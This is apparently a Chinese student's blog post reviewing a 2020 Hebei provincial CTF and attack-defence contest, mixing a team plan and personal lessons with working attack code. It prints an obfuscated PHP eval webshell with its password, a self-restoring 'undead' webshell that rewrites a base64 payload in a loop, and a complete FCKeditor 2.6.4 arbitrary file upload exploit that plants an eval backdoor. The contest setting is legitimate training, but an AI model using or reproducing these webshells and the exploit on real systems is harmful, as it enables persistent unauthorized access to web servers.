2020河北省赛线下经验总结

4 minute read

0x00 写在前面

这是在比赛开始之前,分工后自己简单写的一个比赛思路。

1. 修改ssh {passwd}  &&   修改mysql{set password = password('password');} 
2. 备份源码
3. 扫描源码
4. 简单审计 上waf 删除一句话 删站观察是否check
5. 利用一句话去打别人 流量混淆  webshell混淆  权限维持
6. (主机发现)
7. 提权 办ip 修改php.ini禁用危险函数
8. 目录扫描 漏洞挖掘

0x01 开干

SSH连上之后,居然发现自己是root!因为于是我找到php配置文件 php.ini,禁用了一些危险函数,上完 waf之后就开始攻击别的队伍了。

很快找到了一个文件上传漏洞,很快上传了一个webshell,密码是yueyejian

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(39).$_uU(121).$_uU(117).$_uU(101).$_uU(121).$_uU(101).$_uU(106).$_uU(105).$_uU(97).$_uU(110).$_uU(39).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

然后再网站主页上传了内存木马俗称不死马,会自动生成上面内容的webshell

<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = 'webshell.php';
 $code = base64_decode('PD9waHAgJF91VT1jaHIoOTkpLmNocigxMDQpLmNocigxMTQpOyRfY0M9JF91VSgxMDEpLiRfdVUoMTE4KS4kX3VVKDk3KS4kX3VVKDEwOCkuJF91VSg0MCkuJF91VSgzNikuJF91VSg5NSkuJF91VSg4MCkuJF91VSg3OSkuJF91VSg4MykuJF91VSg4NCkuJF91VSg5MSkuJF91VSgzOSkuJF91VSgxMjEpLiRfdVUoMTE3KS4kX3VVKDEwMSkuJF91VSgxMjEpLiRfdVUoMTAxKS4kX3VVKDEwNikuJF91VSgxMDUpLiRfdVUoOTcpLiRfdVUoMTEwKS4kX3VVKDM5KS4kX3VVKDkzKS4kX3VVKDQxKS4kX3VVKDU5KTskX2ZGPSRfdVUoOTkpLiRfdVUoMTE0KS4kX3VVKDEwMSkuJF91VSg5NykuJF91VSgxMTYpLiRfdVUoMTAxKS4kX3VVKDk1KS4kX3VVKDEwMikuJF91VSgxMTcpLiRfdVUoMTEwKS4kX3VVKDk5KS4kX3VVKDExNikuJF91VSgxMDUpLiRfdVUoMTExKS4kX3VVKDExMCk7JF89JF9mRigiIiwkX2NDKTtAJF8oKTs/Pg==');
 while(true) {
     if(md5(file_get_contents($file))!==md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }
?>

就这样试了试了很多ip,很多已经做好防御了,或者网站已经被打没了,最后只拿到了两三个 webshell。这里总结了一个教训,如果会写重放的脚本,就不用一个一个慢慢上传了,直接一键在所有靶机上尝试种 webshell

0x02 赛后反思

这次是第一次打awd,并没有拿到什么奖,但是积累了很多经验,发现了自己的很多不足,也是一次非常有意义的比赛了。

比赛分两天进行,第1天是ctf,第2天才是awd。

CTF

第一天的ctf就给我好好上了一课。web2是一个写文章的小网站,简单测试发现存在 sql注入和 xss,数据库里面并没有发现什么可以利用的信息,然后超级密码可以直接登录 admin,所以也没有再考虑 xss拿cookie了。这里就草率了,之前看到过sql注入也可以 getshell,但是没有好好去学,最后讨论说思路就是用sql注入来读取文件,歪日了。

扫描后发现用到了 fckeditor,这里开始就有点坑了。首先是查看 fckeditor版本信息发现是 2.6.4

http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html

找到了这个存在漏洞的网页

/editor/filemanager/connectors/php/connector.php

于是我就利用这个poc去打,脚本老是运行不成功。

<?
//fckeditor <= 2.6.4 任意文件上传漏洞, php coldfunsion应该KO了,asp表示很淡定,其他语言版本未测
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";
//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

于是我手动发包成功了,返回了一个上传路径,类似以下图片(当时没有截图),但是我却怎么也访问不到我上传的一句话文件

搞了两个小时,还是没有利用成功。赛后出题人说这道题的思路就是 sql注入利用,还有xss,我人傻了。出题人说这个网站本来存在挺多漏洞的,他都修好了,沃日,修好了也不提醒一下。于是ctf就这样含恨结束了。

AWD

AWD的不足就更多了,比赛开始之后并没有给半小时防御时间,所以一开赛有一点慌了,忘记备份数据库和修改数据库密码,导致后面大佬把数据库搞没了,也恢复不过来。

键入 whoami的时候发现是 root权限,可以办 ip,这样别人就打不进来了,但是没有办。

获取 flag的方式是 curl 一个主办方提供的网址,然后会回显 flag。当时直接把自己靶机上的 curl删了不就好了。

没有把 html目录改成755 root root,网站很多文件都是 www-data www-data,别人拿到 webshell可以直接删站。

没有把大佬上传的 webshell拷贝下来研究。

不会杀不死马。

分析流量日志。

不会写批量脚本,这也是很致命的一点。

上传的 webshell也是最简单的不死马,现在什么蠕虫webshell都有了,但是自己从来没有了解过。

0x03 写在最后

这也不会,那也不会。赛前还大放厥词说要干翻xxx学校,结果被人按在地上来回摩擦。希望半年之内能把自己不会的东西都掌握好,同时也不能再挂科了。

Tags:

Categories:

Updated: